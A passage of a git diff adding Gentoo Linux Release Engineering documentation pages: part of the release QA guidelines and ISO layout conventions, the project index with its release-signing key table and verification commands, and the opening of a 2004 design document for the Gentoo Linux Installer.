+				<tr>
+					<ti>Is the installation documentation up-to-date?</ti>
+					<ti>The Architecture Release Coordinator should be in
+					contact with the Release Engineering Documentation Liaison
+					at all times to ensure that the documentation released is
+					in sync with the release itself.</ti>
+				</tr>
+				<tr>
+					<ti>Are all critical bugs from the last release fixed for
+					the coming release?</ti>
+					<ti>Scour bugzilla for bugs from the last release. Fix as
+					many as possible. The goal is perfection.  Bugs will be
+					assigned to the <c>release@gentoo.org</c> alias.  Bugs for
+					a release should not be changed into a RESOLVED state until
+					a release has been made available with the bug fix.</ti>
+				</tr>
+				<tr>
+					<ti>Regression Testing</ti>
+					<ti>Do the CD images and stages compile and run as expected
+					on each of your supported subarchitectures? Refer to the
+					<uri link="#doc_chap5_sect2">regression testing HOWTO
+					section</uri> for instructions on how to properly run a
+					Gentoo regression test.</ti>
+				</tr>
+				<tr>
+					<ti>Does the Gentoo Documentation Project (GDP) have all of
+					the necessary information required for the release
+					documentation?</ti>
+					<ti>The GDP requires a listing of all bootable kernels on
+					each bootable CD, a listing of all supported boot options
+					on each bootable CD, the output of <c>find</c> on a mounted
+					CD from each category (both bootable CDs and Packages CDs),
+					and the output of <c>find</c> on a booted Universal/Minimal
+					InstallCD. The information can be sent to the Release
+					Engineering GDP Liaison, who is listed on the
+					<uri link="http://www.gentoo.org/proj/en/releng">
+					Release Engineering Project Page</uri>, or to the Release
+					Operations Manager.</ti>
+				</tr>
+				<tr>
+					<ti>Are the InstallCD and PackageCD specfile templates
+					followed?</ti>
+					<ti>The <uri link="#doc_chap5_sect4">templates</uri> for
+					the bootable InstallCDs and non-bootable PackageCDs specify
+					an essential core group of packages that maintain
+					compatibility and consistency across all architectures. It
+					is essential that the core group of packages specified is
+					used.</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	</chapter>
+
+<chapter>
+	<title>The Transition from Development/QA to Final Release</title>
+	<section>
+		<title>The Transition Process</title>
+		<body>
+			<p>
+			The transition from the development/QA phase to the final release
+			phase is not one that can be wholly defined by a date. The
+			transition takes place when the QA guidelines for the
+			development/QA phase have been met in full. At that time, the
+			architecture to be released is ready to move into the final release
+			phase.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>The Final Release Phase</title>
+	<section>
+		<title>Final Release Process</title>
+		<body>
+			<p>
+			The final release phase of the release process is the polish on
+			everything that has been done up to this point. The ultimate goal
+			of this phase is to have high-quality release components on the
+			master mirror at least five days before the release date so that
+			the release components have adequate time to be staged, or
+			propagated, onto the other mirrors.
+			</p>
+		
+			<p>
+			The final QA checklist consists of the following:
+			</p>
+			<table>
+				<tr>
+					<th>Guideline</th>
+					<th>Description</th>
+				</tr>
+				<tr>
+					<ti>Are the requirements of the development/QA phase QA
+					checklist completed?</ti>
+					<ti>Are all of the requirements specified in the
+					development/QA Phase QA Checklist completed, as specified,
+					and in form?</ti>
+				</tr>
+				<tr>
+					<ti>Are all of the components necessary for a release
+					present?</ti>
+					<ti>Please refer to the <uri link="#doc_chap5_sect1">
+					list</uri> of components necessary for a release.</ti>
+				</tr>
+				<tr>
+					<ti>Layout</ti>
+					<ti>Do the InstallCD, Package CD, and stages all conform to
+					the <uri link="#doc_chap5_sect3">naming and layout
+					conventions</uri> set forth by Release Engineering?</ti>
+				</tr>
+				<tr>
+					<ti>Are the release notes in forms available both
+					online and on the InstallCD?</ti>
+					<ti>Make sure that the release notes are present in the
+					locations specified by the <uri link="#doc_chap5_sect3">
+					layout</uri> convention.</ti>
+				</tr>
+			</table>
+
+			<p>
+			When the Architecture Release Coordinator feels that their release
+			components meet or exceed all of the QA guidelines, they will then
+			upload them to the Release Engineering staging machine and inform
+			Release Engineering so that the final approval process can begin.
+			The final approval from Release Engineering will consist of a
+			rundown of the final QA checklist and a check of each release
+			component's digests. Assuming the release components pass the final
+			approval from Release Engineering, they will be signed by Release
+			Engineering's GPG key, and placed into the proper staging are on
+			the Release Engineering staging machine for turnover to the Release
+			Infrastructure Liason for propgation to the master mirror.
+			</p>
+
+			<p>
+			Only when the release components meet both the QA of the
+			development/QA phase and the final QA will they be uploaded to the
+			mirrors to be released. If any of the components are out of order,
+			Release Engineering will work with the Arch	Release Coordinator to
+			fix the offending component. To have an on-time release, it is
+			imperative that the Architecture Release Coordinator ensures that
+			all QA is met before Release Engineering approval. Release
+			Engineering approval should be the last check that the release
+			components receive, not the first.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Resources</title>
+	<section>
+		<title>Necessary Components for a Release</title>
+		<body>
+			<p>
+			The following components are necessary for an official release:
+			</p>
+
+			<table>
+				<tr>
+					<th>Component</th>
+					<th>Description</th>
+				</tr>
+				<tr>
+					<ti>Bootable InstallCDs</ti>
+					<ti>This includes both the Universal and Minimal InstallCD
+					images that users can use to boot a wide variety of
+					hardware for the end goal of installing Gentoo Linux. There
+					are two flavors of the bootable InstallCD, the Universal
+					and the Minimal. A Universal InstallCD contains a set of
+					stage3s for all supported subarches as well as the
+					distfiles required to install from a stage3 without a
+					network connection. A Minimal InstallCD only contains the
+					necessary items needed to boot a system. Please refer to
+					the <uri link="#doc_chap5_sect3">layout</uri>
+					specifications and the Catalyst specfile
+					<uri link="#doc_chap5_sect4">template</uri>	for the
+					required layout and core packages of both CDs.  Both images
+					are required for an official release.</ti>
+				</tr>
+				<tr>
+					<ti>Packages CD</ti>
+					<ti>A non-bootable CD that contains a Gentoo Reference
+					Platform (GRP) set used for off-network installation. A
+					user should not need an Internet connection to install when
+					using this disc. Please refer to the
+					<uri link="#doc_chap5_sect3">layout</uri> specifications
+					for PackageCD layout, and the Catalyst specfile
+					<uri link="#doc_chap5_sect4">template</uri> for a list
+					of required packages.</ti>
+				</tr>
+				<tr>
+					<ti>Bootable LiveCD</ti>
+					<ti>A bootable LiveCD image with the Gentoo Linux Installer
+					may be substituted for the requirement for a Universal
+					InstallCD and a PackageCD.  This is the only case in which
+					a Universal InstallCD and PackageCD may be missing from a
+					given architectures release and it to still be considered
+					complete and official.</ti>
+				</tr>
+				<tr>
+					<ti>Installation Stages</ti>
+					<ti>Stage 1, 2, and 3 tarballs that can be used to install
+					Gentoo Linux.</ti>
+				</tr>
+				<tr>
+					<ti>Release Notes</ti>
+					<ti>Notes that follow the template specified by Release
+					Engineering that detail important aspects about the
+					release.</ti>
+				</tr>
+				<tr>
+					<ti>DIGESTS and CONTENTS</ti>
+					<ti>Both MD5 and SHA1 hashes are required to be generated
+					for all release media.  These hashes are automatically
+					created by catalyst, and should be included with the media.
+					A CONTENTS file should be generated for the following
+					media: Minimal InstallCD (booted), Universal InstallCD
+					(both booted and non-booted), PackageCD, and LiveCD.</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+
+	<section>
+		<title>Regression Testing HOWTO</title>
+		<body>
+			<p>
+			Regression testing is a key aspect of QA. The regression testing
+			process is done by running a comprehensive set of tests that
+			emulate real-world scenarios. Regression testing is not necessarily
+			hard, but it is time consuming. A good portion of the release
+			process should be spent regression testing as it is the most
+			beneficial way to identify bugs and errata.
+			</p>
+
+			<p>
+			The regression testing procedure is quite straight forward. For
+			each InstallCD/LiveCD, follow the installation instructions
+			verbatim. Once that is complete, try a complete GRP installation
+			using the Installation Handbook. Once that is complete, restart the
+			process using a different subarchitecture or GRP set. The goal is
+			to run through the Installation Handbook as many different times as
+			possible. The more randomness that is introduced to packages,
+			methods, and subarches, the more chances that bugs will be
+			identified before the final release.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Naming Conventions and InstallCD/LiveCD/PackageCDs Layout</title>
+		<body>
+			<p>
+			InstallCD/LiveCDs/PackageCDs and stages are to adhere to the
+			following naming conventions, where <c>${arch}</c> is the main
+			architecture, <c>${subarch}</c> is the subarchitecture,
+			<c>${reltype}</c> is a special type identifier, and
+			<c>${relver}</c> is the release version number.
+			</p>
+
+			<table>
+				<tr>
+					<th>Component Name</th>
+					<th>Naming Convention</th>
+					<th>Example</th>
+				</tr>
+				<tr>
+					<ti>Universal Bootable InstallCD</ti>
+					<ti>install-${arch}-universal-${relver}.iso</ti>
+					<ti>install-x86-universal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal Bootable InstallCD</ti>
+					<ti>install-${arch}-minimal-${relver}.iso</ti>
+					<ti>install-alpha-minimal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Bootable LiveCD</ti>
+					<ti>livecd-${arch}-${relver}.iso</ti>
+					<ti>livecd-x86-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Packages CD</ti>
+					<ti>packages-${subarch}-${relver}.iso</ti>
+					<ti>packages-pentium4-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Installation Stages</ti>
+					<ti>stage{1,2,3}-${subarch}-${relver}.tar.bz2</ti>
+					<ti>stage3-ppc-2005.1.tar.bz2</ti>
+				</tr>
+				<tr>
+					<ti>Installation Stages that are a different release type,
+					such as hardened stages or selinux stages.</ti>
+					<ti>stage{1,2,3}-${subarch}-${reltype}-${relver}.tar.bz2</ti>
+					<ti>stage2-athlon-xp-selinux-2004.0.tar.bz2</ti>
+				</tr>
+				<tr>
+					<ti>Release Notes</ti>
+					<ti>${arch}-release-notes.xml</ti>
+					<ti>sparc-release-notes.xml, placed in CVS at
+					gentoo/xml/htdocs/proj/en/releng/release/${relver}/${arch}
+					The current template and autogeneration tool can be found in
+					CVS at gentoo/src/relnotes.</ti>
+				</tr>
+			</table>
+
+			<p>
+			<b>The Universal bootable InstallCD is to adhere to the following
+			layout standard:</b>
+			</p>
+
+			<table>
+				<tr>
+					<th>Directory</th>
+					<th>Description</th>
+				</tr>
+				<tr>
+					<ti>/distfiles</ti>
+					<ti>Directory where all of the necessary distfiles are
+					stored to install from a stage3 tarball with no network
+					connection.</ti>
+				</tr>
+				<tr>
+					<ti>/docs</ti>
+					<ti>Directory where the release notes and the Handbook
+					reside. The Handbook has its own directory structure,
+					<path>/docs/handbook/{html,pdf,txt}</path>, with each
+					subdirectory being for a respective format of the Handbook.
+					The final versions of both the release notes and the
+					Handbook will be linked off of the release information
+					page.</ti>
+				</tr>
+				<tr>
+					<ti>/boot (/isolinux on x86/amd64)</ti>
+					<ti>Autogenerated directory for the bootloader.</ti>
+				</tr>
+				<tr>
+					<ti>/snapshots</ti>
+					<ti>Directory containing the snapshot used to build the
+					release components.</ti>
+				</tr>
+				<tr>
+					<ti>/stages</ti>
+					<ti>Directory containing the stage3 tarballs for each
+					supported subarch.</ti>
+				</tr>
+				<tr>
+					<ti>/zisofs (optional)</ti>
+					<ti>Autogenerated directory for the zisofs runtime. Only
+					applicable to architectures	that use the zisofs compression
+					scheme. Using zisofs should only be considered if squashfs
+					is unavailable for the architecture due to technical
+					problems, such as kernel panics.</ti>
+				</tr>
+			</table>
+
+			<p>
+			<b>The Minimal bootable InstallCD is to adhere to the following
+			layout standard:</b>
+			</p>
+
+			<table>
+				<tr>
+					<th>Directory</th>
+					<th>Description</th>
+				</tr>
+				<tr>
+					<ti>/boot (/isolinux on x86/amd64)</ti>
+					<ti>Autogenerated directory for the bootloader.</ti>
+				</tr>
+				<tr>
+					<ti>/zisofs (optional)</ti>
+					<ti>Autogenerated directory for the zisofs runtime. Only
+					applicable to architectures that use the zisofs compression
+					scheme. Using zisofs should only be considered if squashfs
+					is unavailable for the architecture due to technical
+					problems, such as kernel panics.</ti>
+				</tr>
+			</table>
+
+			<p>
+			Both InstallCDs may use a wide variety of kernels to ensure user
+			compabibility. The kernels will	be named
+			<c>gentoo-${kver}-${special_opt}</c>, where <c>${kver}</c> is the
+			main version of the kernel, such as 2.6, and <c>${special_opt}</c>
+			is an optional special identifier, such as nofb. An example of a
+			kernel name with a special identifier would be
+			<c>gentoo-2.6-nofb</c>.
+			</p>
+		
+			<p>
+			Both of the bootable InstallCDs will contain a standard <c>motd</c>
+			in the booted FS on the CD.	The motd will be the first thing that a
+			user sees after they get a prompt their CD environment,	and it will
+			contain important information. This file is generated by catalyst.
+			</p>
+
+			<p>
+			<b>The PackageCD is to adhere to the following layout standard:</b>
+			</p>
+
+			<table>
+				<tr>
+					<th>Directory</th>
+					<th>Description</th>
+				</tr>
+				<tr>
+					<ti>/${app-category}/${package}</ti>
+					<ti>The PackageCD will be laid out in the same fashion as
+					<path>/usr/portage/packages</path>.</ti>
+				</tr>
+			</table>
+
+			<p>
+			The command for creating the PackageCD ISO file is:
+			</p>
+
+			<pre caption="Package CD">
+# <i>cd grp-${subarch}-${relver}/cd2</i>
+# <i>mkisofs -R -J -l -V "${subarch} Packages" -o ../packages-${subarch}-${relver}.iso .</i>
+			</pre>
+		</body>
+	</section>
+	
+	<section>
+		<title>LiveCD and PackageCD template Catalyst Specfiles</title>
+		<body>
+
+			<p>
+			Catalyst livecd-stage1 specfile
+			<uri link="livecd-stage1_template.spec.txt">template</uri> for both
+			the Universal and Minimal bootable InstallCDs.
+			</p>
+			<p>
+			Catalyst livecd-stage2 specfile
+			<uri link="livecd-stage2_template.spec.txt">template</uri> for both
+			the Universal and Minimal bootable InstallCDs.
+			</p>
+			<p>
+			Catalyst specfile <uri link="packagecd_template.spec.txt">template
+			</uri> for the PackageCD.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/index.xml b/xml/htdocs/proj/en/releng/index.xml
new file mode 100644
index 00000000..a9151054
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/index.xml
@@ -0,0 +1,374 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>releng</name>
+<longname>Release Engineering</longname>
+<date>2008-09-18</date>
+
+<description>
+The official project focused on coordinating and improving the creation of
+official releases of Gentoo Linux.
+</description>
+
+<longdescription>
+<p>
+Release Engineering ("releng") is the official Gentoo project focused on
+coordinating and improving the creation of official media releases of Gentoo
+Linux and other Gentoo operating systems. It is also primarily responsible for
+many of the tools used by the installation process, including <uri
+link="catalyst/index.xml">catalyst</uri>, genkernel, and the <uri
+link="installer/index.xml">Gentoo Linux Installer</uri>.
+</p>
+</longdescription>
+
+<goals>
+<p>
+The goals of Release Engineering are to continually improve the quality,
+timeliness and overall procedures for creating official Gentoo Linux releases,
+as well as acting as the official coordinators for creating new Gentoo Linux
+release media. This project is very much focused on ensuring that the initial
+quality of every official release is as high as possible, and that the "from
+CD" experience is as positive for as many of our users as possible.
+</p>
+</goals>
+
+<!-- Staff -->
+<dev role="lead" description="Team Lead and x86 Release Coordinator">agaffney</dev>
+<dev role="member" description="Documentation Liaison">nightmorph</dev>
+<dev role="member" description="Infrastructure Liaison">robbat2</dev>
+<dev role="member" description="AMD64 / X86 Weekly Builds">jmbsvicetto</dev>
+<!-- Release Coordinators -->
+<dev role="member" description="Alpha Release Coordinator">klausman</dev>
+<dev role="member" description="AMD64 Release Coordinator">angelos</dev>
+<dev role="member" description="AMD64 Release Co-Coordinator">kingtaco</dev>
+<dev role="member" description="HPPA Release Coordinator">dertobi123</dev>
+<dev role="member" description="IA64/SPARC Release Coordinator">armin76</dev>
+<dev role="member" description="MIPS Release Coordinator">kumba</dev>
+<dev role="member" description="MIPS Stages">redhatter</dev>
+<dev role="member" description="PowerPC Release Coordinator">ranger</dev>
+
+<subproject ref="/proj/en/releng/catalyst/index.xml" inheritresources="yes"/>
+<subproject ref="/proj/en/releng/installer/index.xml" inheritresources="yes"/>
+
+<extraproject name="Releng/QA Hardware" >
+Release Engineering maintains its own set of hardware for development, testing
+and release building, as well as the porting of Gentoo Linux to new
+architectures. Currently, this hardware consists of a dual-CPU 900Mhz zx6000
+Itanium 2 system with 4GB of RAM on extended loan from HP, and a dual Opteron
+AMD64 system built from parts donated by AMD, NVIDIA, The Gentoo Foundation,
+and the Gentoo/AMD64 project. All systems are running Gentoo Linux. Access to
+these is currently restricted to Release Engineering members. For other
+developer hardware, check out the <uri
+link="http://www.gentoo.org/proj/en/infrastructure/dev-machines.xml">dev
+machines page</uri>.
+</extraproject>
+
+<extrachapter>
+<title>Release security &amp; signing</title>
+<section>
+<body>
+<p>
+All release media will have its DIGESTS file signed by one of the <c>Gentoo Linux
+Release	Engineering (releng@gentoo.org)</c> PGP keys listed on this page.
+The keys are available through the <c>subkeys.pgp.net</c> keyserver. They can
+be used to verify that the media is, in fact, the media shipped by Release
+Engineering and not from a potential attacker. You will find more detailed
+verification instructions in the handbooks for each release.
+</p>
+
+<p>
+New keys and changes to existing keys will be announced to the following
+Gentoo mailing lists: gentoo-dev-announce, gentoo-announce, gentoo-core.
+</p>
+
+<note>
+Releases up to and including 2007.0 had PGP signatures directly on top of the
+files. This required large quantities of disk IO for generation on the servers,
+and validation on the client side. As such, as of the 2008.0 release, the
+DIGESTS file is now signed instead, making verification a two-step process, but
+overall much quicker.
+</note>
+
+<pre caption="Obtaining the public key">
+$ <i>gpg --keyserver subkeys.pgp.net --recv-keys &lt;key id&gt;</i>
+</pre>
+
+<pre caption="Verify the cryptographic signature">
+$ <i>gpg --verify &lt;foo.DIGESTS.asc&gt;</i>
+</pre>
+
+<pre caption="Verify the checksum">
+$ <i>sha1sum -c &lt;foo.DIGESTS.asc&gt;</i>
+</pre>
+
+<table>
+<tr>
+<th>Key ID</th>
+<th>Key Type</th>
+<th>Key Fingerprint</th>
+<th>Key Description</th>
+<th>Created</th>
+<th>Expires</th>
+<th>Revoked</th>
+<th>Notes</th>
+</tr>
+
+<tr>
+<ti>0x239C75C4</ti>
+<ti>1024-bit DSA</ti>
+<ti>AE54 54F9 67B5 6AB0 9AE1  6064 0838 C26E 239C 75C4</ti>
+<ti>Gentoo Portage Snapshot Signing Key (Automated Signing Key)</ti>
+<ti>2007/11/25</ti>
+<ti>2011/11/24</ti>
+<ti></ti>
+<ti></ti>
+</tr>
+
+<tr>
+<ti>0x17072058</ti>
+<ti>1024-bit DSA</ti>
+<ti>D99E AC73 79A8 50BC E47D  A5F2 9E64 38C8 1707 2058</ti>
+<ti>Gentoo Linux Release Engineering (Gentoo Linux Release Signing Key)</ti>
+<ti>2004/07/20</ti>
+<ti>2016/08/13</ti>
+<ti></ti>
+<ti>Non-automated.</ti>
+</tr>
+
+<tr>
+<ti>0x2D182910</ti>
+<ti>4096-bit RSA</ti>
+<ti>13EB BDBE DE7A 1277 5DFD  B1BA BB57 2E0E 2D18 2910</ti>
+<ti>Gentoo Linux Release Engineering (Automated Weekly Release Key)</ti>
+<ti>2009/08/25</ti>
+<ti>2013/08/24</ti>
+<ti></ti>
+<ti></ti>
+</tr>
+
+<tr>
+<ti>0xD8BA32AA</ti>
+<ti>1024-bit DSA</ti>
+<ti>8861 8228 9048 D40B 3C3B  ADDA 6DC2 26AA D8BA 32AA</ti>
+<ti>Gentoo Portage Snapshot Signing Key (Automated Signing Key)</ti>
+<ti>2004/11/11</ti>
+<ti>2005/11/11</ti>
+<ti>2007/11/25</ti>
+<ti>Revoked for changeover</ti>
+</tr>
+
+<tr>
+<ti>0x7DDAD20D</ti>
+<ti>1024-bit DSA</ti>
+<ti>4AC0 D5FE 8F92 96BA 6A06  0A2A BB1D 301B 7DDA D20D</ti>
+<ti>Gentoo Portage Snapshot Signing Key (Automated Signing Key)</ti>
+<ti>2005/11/23</ti>
+<ti>2007/11/23</ti>
+<ti>2007/11/25</ti>
+<ti>Revoked for changeover</ti>
+</tr>
+
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Latest release</title>
+
+<section>
+<body>
+
+<p>The latest release of Gentoo Linux is:</p>
+
+<p>
+<b>Gentoo Linux 2008.0</b> for <c>Alpha</c>, <c>AMD64</c>, <c>HPPA</c>,
+<c>IA64</c>, <c>MIPS</c>, <c>PPC</c>, <c>SPARC</c>,
+and <c>x86</c> architectures.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+<!--
+<extrachapter>
+<title>Next Release</title>
+
+<section>
+<body>
+
+<p>
+The next official release of Gentoo Linux will be <b>Gentoo Linux 2008.1</b>.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+-->
+<extrachapter>
+<title>Release Roadmap for 2008</title>
+
+<section>
+<body>
+
+<note>
+These are estimated dates.  Actual release dates may vary.
+</note>
+
+<table>
+<tr>
+<th>Date</th>
+<th>Version</th>
+<th>Phase</th>
+</tr>
+<tr>
+<th>Jul 2008</th>
+<ti>2008.0</ti>
+<ti>
+Released, <uri link="/proj/en/releng/release/2008.0/index.xml">Release
+Information</uri>, <uri link="/news/20080706-release-2008.0.xml">Press
+Release</uri>
+</ti>
+</tr>
+<tr>
+<th>Sep 2008</th>
+<ti>2008.1</ti>
+<ti>Cancelled</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter>
+<title>Previous Releases</title>
+
+<section>
+<body>
+
+<table>
+<tr>
+<th>Date</th>
+<th>Version</th>
+<th>Phase</th>
+</tr>
+<tr>
+<th>Dec 2007</th>
+<ti>2007.1</ti>
+<ti><uri link="/news/20080112-release-status.xml">Cancelled</uri>, Release
+Information, Press Release</ti>
+</tr>
+<tr>
+<th>May 2007</th>
+<ti>2007.0</ti>
+<ti>Released, Release Information, <uri
+link="release/2007.0/2007.0-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>Aug 2006</th>
+<ti>2006.1</ti>
+<ti>Released, <uri link="release/2006.1/2006.1.xml">Release
+Information</uri>, <uri link="release/2006.1/2006.1-press-release.txt">Press
+Release</uri></ti>
+</tr>
+<tr>
+<th>Feb 2006</th>
+<ti>2006.0</ti>
+<ti>Released, <uri link="release/2006.0/2006.0.xml">Release Information</uri>,
+<uri link="release/2006.0/2006.0-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>Aug 2005</th>
+<ti>2005.1</ti>
+<ti>Released, <uri link="release/2005.1/2005.1.xml">Release Information</uri>,
+<uri link="release/2005.1/2005.1-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>Mar 2005</th>
+<ti>2005.0</ti>
+<ti>Released, <uri link="release/2005.0/2005.0.xml">Release Information</uri>,
+<uri link="release/2005.0/2005.0-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>November 2004</th>
+<ti>2004.3</ti>
+<ti>Released, <uri link="release/2004.3/2004.3.xml">Release Information</uri>,
+<uri link="release/2004.3/2004.3-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>July 2004</th>
+<ti>2004.2</ti>
+<ti>Released, <uri link="release/2004.2/2004.2.xml">Release Information</uri>,
+<uri link="release/2004.2/2004.2-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>April 2004</th>
+<ti>2004.1</ti>
+<ti>Released, <uri link="release/2004.1/2004.1.xml">Release Information</uri>,
+<uri link="release/2004.1/2004.1-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>February 2004</th>
+<ti>2004.0</ti>
+<ti>Released, Release Information, <uri
+link="release/2004.0/releng/2004.0-press-release.txt">Press Release</uri></ti>
+</tr>
+<tr>
+<th>Sept 2003</th>
+<ti>1.4 maintenance release 1</ti>
+<ti>Released</ti>
+</tr>
+<tr>
+<th>July 2003</th>
+<ti>1.4</ti>
+<ti>Released</ti>
+</tr>
+</table>
+
+<note>
+Releases prior to 1.4 were before this project's existence.
+</note>
+
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter>
+<title>Resources</title>
+
+<section>
+<title>Documentation</title>
+<body>
+
+<ul>
+<li><uri link="docs/release_guidelines.xml">Release Guidelines</uri></li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Meeting Summaries</title>
+<body>
+
+<ul>
+<li>2008.0 Planning meeting (<uri
+link="meetings/20080123_initial_2008.0.txt">Full log</uri>) (<uri
+link="meetings/20080123_initial_2008.0_summary.txt">Summary</uri>)</li>
+</ul>
+
+</body>
+</section>
+
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/releng/installer/codemap.png b/xml/htdocs/proj/en/releng/installer/codemap.png
new file mode 100644
index 00000000..73614212
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/codemap.png
diff --git a/xml/htdocs/proj/en/releng/installer/design.xml b/xml/htdocs/proj/en/releng/installer/design.xml
new file mode 100644
index 00000000..e5fa3090
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/design.xml
@@ -0,0 +1,391 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/design.xml">
+<title>Gentoo Linux Installer</title>
+
+<author title="Author">
+  <mail link="esammer@gentoo.org">Eric Sammer</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+An introduction to the Gentoo Linux Installer project discussing its purpose,
+design structure, and participants.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>Jan 29, 2004</date>
+
+<chapter>
+<title>Overview</title>
+<section>
+<body>
+
+<p>
+Currently, Gentoo has no guided installer. A number of users has expressed
+interest in such an application to ease the current installation process.
+Many users new to Gentoo or Linux in general, find the installation process
+intimidating and even with a strong assurance of support and excellent
+documentation, they are reluctant to try. Some users have stated this to be the
+singular reason they have not moved to or tried Gentoo yet.
+The current process will still be available to those who choose to use it.
+</p>
+
+<p>
+The Gentoo Linux Installer project aims to build a normative installation
+platform for both desktop and server systems. Generally, the goals of the
+installer are consistency across architectures, usability for all users, and
+flexibility. The section on features will give a better overview of the
+specifics, but suffice it to say it will be for all users, of all experience
+levels, for all environments.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Features</title>
+<section>
+<body>
+
+<p>
+The following is a list of features that will be present in the installer.
+While not an exhaustive list, it should give you a better idea of what
+will be possible. Not all of these features are of use to all users, but
+the idea is to provide consistency for all users so keep the mantra of "if
+not for me, for someone else" fresh in mind.
+</p>
+
+</body>
+</section>
+<section>
+<title>Multiple front ends</title>
+<body>
+
+<p>
+The installer will have interchangeable user interfaces of which some will be X
+GUIs. Since some platforms are more commonly installed with devices that do not
+support X windows (Sun serial console installs, etc.) a plain text front end
+will be developed. Users will be free to develop a user interface (of any
+nature) as they see fit but, due to maintenance, only one text based and one
+GUI may be officially supported at first.
+</p>
+
+</body>
+</section>
+<section>
+<title>Reusable back end framework</title>
+<body>
+
+<p>
+The actual workhorse of the installer will be a set of APIs that will be called
+from the desired client. In keeping a clean and complete separation of
+functionality and user interface, a generic platform will be established for any
+tools that wish to control the installation of a Gentoo system. This also
+promotes strong consistency across all platforms and environments.
+</p>
+
+</body>
+</section>
+<section>
+<title>Automated deployment</title>
+<body>
+
+<p>
+The installer will support automated deployment using pre-configured
+installation profiles. This will allow easy installation in larger environments
+with similar hardware or in situations where you wish to store a backup of your
+machine's initial installation parameters for disaster recovery. The
+installation profile will contain all data required to "replay" an installation
+(i.e. cflags, use flags, partitioning schemes, post-install packages, etc.).
+</p>
+
+</body>
+</section>
+<section>
+<title>Dry run profile generation</title>
+<body>
+
+<p>
+Users will be able to create installation profiles by going through the
+installer without actually performing the steps. All data generated by user
+actions will be serialized to an install profile (represented as an XML
+document) which can later be used for automated deployment.
+</p>
+
+</body>
+</section>
+<section>
+<title>Full support for all Gentoo architectures</title>
+<body>
+
+<p>
+As a requirement, all architectures supported by Gentoo will be supported by the
+installer project. These include, but are not limited to, x86, ppc, sparc,
+alpha, amd64, mips, hppa, and itanium. (The one notable exception is embedded
+devices. This is due to a highly specialized environment that the installer may
+not be able to accommadate.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Specialized profiles</title>
+<body>
+
+<p>
+Specialized profiles such as SELinux will be supported along side the
+traditional (processor based) architectures. These specialized profiles will
+support the additional features and requirements of their respective
+installation processes.
+</p>
+
+</body>
+</section>
+<section>
+<title>Open policies and standards use</title>
+<body>
+
+<p>
+Whenever possible, the installer will use open formats and standards as to play
+nice with other tools that users development. This includes file formats (XML),
+network protocols, and other such items. Special care will be taken to not
+exclude the use of alternate tools and utilities.
+</p>
+
+</body>
+</section>
+<section>
+<title>Integration with future configuration projects</title>
+<body>
+
+<p>
+Wherever possible, the installer will integrate with Gentoo specific system
+configuration tools and utilities to facilitate post-install setup and
+configuration of machines. Support for non-Gentoo specific tools such as
+cfengine may also be included.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Design and Structure</title>
+<section>
+<body>
+
+<p>
+The structure of the installer must be generic enough to support the features
+above while not abstracting ourselves so far away from the system that simple
+tasks become difficult or maintainability becomes cumbersome.
+</p>
+
+<p>
+A few design requirements were stated:
+</p>
+
+<ul>
+  <li>Multiple UIs must be supported (abstracted view support)</li>
+  <li>A complete separation of model, view, and  control logic be kept</li>
+  <li>All features must be supported regardless of front end or architecture</li>
+  <li>Automated deployment always be possible</li>
+</ul>
+
+<p>
+To this end, the installer platform (as the entire system is referenced) is
+broken up into three major parts.
+</p>
+
+</body>
+</section>
+<section>
+<title>Front end (Client)</title>
+<body>
+
+<p>
+The client is the user's interface to the system. It contains all user interface
+logic and support. Also, minor state information about temporary configuration
+of the client, itself, including command line arguments, environment settings,
+invocation method (interactive / non-interactive), logging locations, binary
+package server URIs, and more. Some of these settings will "stick" to the
+install, but most will not.
+</p>
+
+<p>
+The user will be able to use their desired front end to generate installation
+profiles to be used for later deployment, and in this respect can also be
+thought of as a profile generation utility.
+</p>
+
+<p>
+The client may also integrate with system configuration tools at a later date.
+</p>
+
+<p>
+Generally, the client is "dumb" and is unaware of implementation logic of the
+actual installation process, although some architecture specific logic will be
+present.
+</p>
+
+</body>
+</section>
+<section>
